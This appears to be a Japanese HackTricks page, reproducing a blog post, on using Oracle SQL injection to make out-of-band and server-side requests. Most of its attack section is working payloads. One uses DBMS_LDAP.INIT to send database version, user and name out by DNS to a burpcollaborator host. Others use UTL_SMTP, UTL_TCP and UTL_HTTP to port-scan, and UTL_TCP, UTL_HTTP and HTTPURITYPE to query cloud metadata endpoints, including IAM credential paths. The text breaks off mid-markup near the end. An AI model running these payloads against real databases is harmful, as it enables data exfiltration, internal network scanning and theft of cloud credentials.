# Oracleインジェクション
htARTE(HackTricks AWS Red Team Expert) を通じてゼロからヒーローまでAWSハッキングを学ぶ!
HackTricksをサポートする他の方法:
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦で私をフォローする:[**@carlospolopm**](https://twitter.com/carlospolopm)**。**
- **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
**この投稿には、[https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)から削除された投稿のウェイバックマシンのコピーを提供します**。
## SSRF
Oracleを使用してOut of Band HTTPおよびDNSリクエストを行う方法は十分に文書化されていますが、インジェクションでSQLデータを外部に送信する手段としても使用できます。これらのテクニック/関数を変更して他のSSRF/XSPAを行うこともできます。
Oracleのインストールは非常に面倒であり、特にコマンドを試すために素早くインスタンスをセットアップしたい場合はそうです。[Appsecco](https://appsecco.com)の友人で同僚である[Abhisek Datta](https://github.com/abhisek)は、[https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c)を紹介してくれました。これにより、t2.large AWS UbuntuマシンとDocker上にインスタンスをセットアップできました。
このブログ投稿の過程で、Oracleをネイティブインストールとして完全なネットワークアクセスを持つように模倣できるように、dockerコマンドを`--network="host"`フラグと共に実行しました。
```
docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
```
#### URLまたはホスト名/ポート番号の指定をサポートするOracleパッケージ
ホストとポートの指定をサポートするパッケージや関数を見つけるために、[Oracle Database Online Documentation](https://docs.oracle.com/database/121/index.html)でGoogle検索を実行しました。具体的には、
```
site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"
```
検索結果は以下の通りです(すべてがアウトバウンドネットワークを実行するために使用できるわけではありません)
* DBMS\_NETWORK\_ACL\_ADMIN
* UTL\_SMTP
* DBMS\_XDB
* DBMS\_SCHEDULER
* DBMS\_XDB\_CONFIG
* DBMS\_AQ
* UTL\_MAIL
* DBMS\_AQELM
* DBMS\_NETWORK\_ACL\_UTILITY
* DBMS\_MGD\_ID\_UTL
* UTL\_TCP
* DBMS\_MGWADM
* DBMS\_STREAMS\_ADM
* UTL\_HTTP
この簡単な検索では、ホスト名とポート番号を渡すことができる`DBMS_LDAP`のようなパッケージがスキップされています。[ドキュメントページ](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360)は、単に[異なる場所](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360)を指すだけです。したがって、見落としたかもしれないアウトバウンドリクエストを行うために悪用できる他のOracleパッケージがあるかもしれません。
いずれにせよ、発見しリストアップしたいくつかのパッケージを見てみましょう。
**DBMS\_LDAP.INIT**
`DBMS_LDAP`パッケージは、LDAPサーバーからデータにアクセスすることを可能にします。`init()`関数は、LDAPサーバーとのセッションを初期化し、ホスト名とポート番号を引数として取ります。
この関数は以前に、以下のようにDNS経由でのデータの外部への送信を示すために文書化されています。
```
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
```
しかし、関数がホスト名とポート番号を引数として受け入れるため、これをポートスキャナーのように使用することができます。
以下にいくつかの例を示します。
```
SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
```
`ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.`は、ポートが閉じていることを示していますが、セッション値はポートが開いていることを指しています。
**UTL\_SMTP**
`UTL_SMTP`パッケージは、SMTP経由でメールを送信するために設計されています。[Oracleのドキュメントサイト](https://docs.oracle.com/database/121/ARPLS/u\_smtp.htm#ARPLS71478)に提供されている例では、このパッケージを使用してメールを送信する方法が示されています。しかし、私たちにとって興味深いのは、ホストとポートの指定ができる点です。
以下に、タイムアウトを2秒に設定した`UTL_SMTP.OPEN_CONNECTION`関数の簡単な例が示されています。
```
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
END;
```
```
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;
```
`ORA-29276: 転送タイムアウト` はポートが開いていることを示しますが、SMTP接続が確立されていません。一方、`ORA-29278: SMTP一時エラー: 421 サービスが利用できません` はポートが閉じていることを示します。
**UTL\_TCP**
`UTL_TCP` パッケージとその手続きおよび関数は[TCP/IPベースのサービスとの通信](https://docs.oracle.com/cd/B28359\_01/appdev.111/b28419/u\_tcp.htm#i1004190)を可能にします。特定のサービス向けにプログラムされている場合、このパッケージはネットワークへの入り口となるか、TCP/IP接続のすべての側面を制御できるため、完全なサーバーサイドリクエストを実行できます。
Oracleのドキュメントサイトの例では、このパッケージを使用して[ウェブページを取得するために生のTCP接続を行う方法](https://docs.oracle.com/cd/B28359\_01/appdev.111/b28419/u\_tcp.htm#i1004190)を示しています。これをさらに簡略化して、メタデータインスタンスや任意のTCP/IPサービスにリクエストを行うために使用できます。
```
set serveroutput on size 30000;
SET SERVEROUTPUT ON
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
/
```
```
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
```
興味深いことに、生のTCPリクエストを作成できる能力のため、このパッケージはすべてのクラウドプロバイダーのインスタンスメタデータサービスをクエリするためにも使用できます。メソッドタイプや追加ヘッダーなどはすべてTCPリクエスト内で渡すことができます。
**UTL_HTTPとWebリクエスト**
おそらく、あらゆるOut of Band Oracle SQL Injectionチュートリアルで最も一般的で広く文書化されているテクニックは、[`UTL_HTTP`パッケージ](https://docs.oracle.com/database/121/ARPLS/u\_http.htm#ARPLS070)です。このパッケージは、ドキュメントによって次のように定義されています - `UTL_HTTPパッケージはSQLおよびPL/SQLからハイパーテキスト転送プロトコル(HTTP)の呼び出しを行います。これを使用して、HTTP経由でインターネット上のデータにアクセスできます。`
```
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
```
追加で、次のようなクエリを使用して、基本的なポートスキャンも実行できます。
```
select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
```
`ORA-12541: TNS:no listener`または`TNS:operation timed out`は、TCPポートが閉じていることを示し、`ORA-29263: HTTP protocol error`またはデータはポートが開いていることを示します。
過去にさまざまな成功を収めた別のパッケージは、[`HTTPURITYPE` Oracle抽象型の`GETCLOB()`メソッド](https://docs.oracle.com/database/121/ARPLS/t\_dburi.htm#ARPLS71705)です。このメソッドを使用すると、URLとやり取りし、HTTPプロトコルをサポートすることができます。`GETCLOB()`メソッドは、URLからGET応答を[CLOBデータ型](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)として取得するために使用されます。[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
ゼロからヒーローまでのAWSハッキングを学ぶ htARTE (HackTricks AWS Red Team Expert)!
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手してください
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**してください。
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。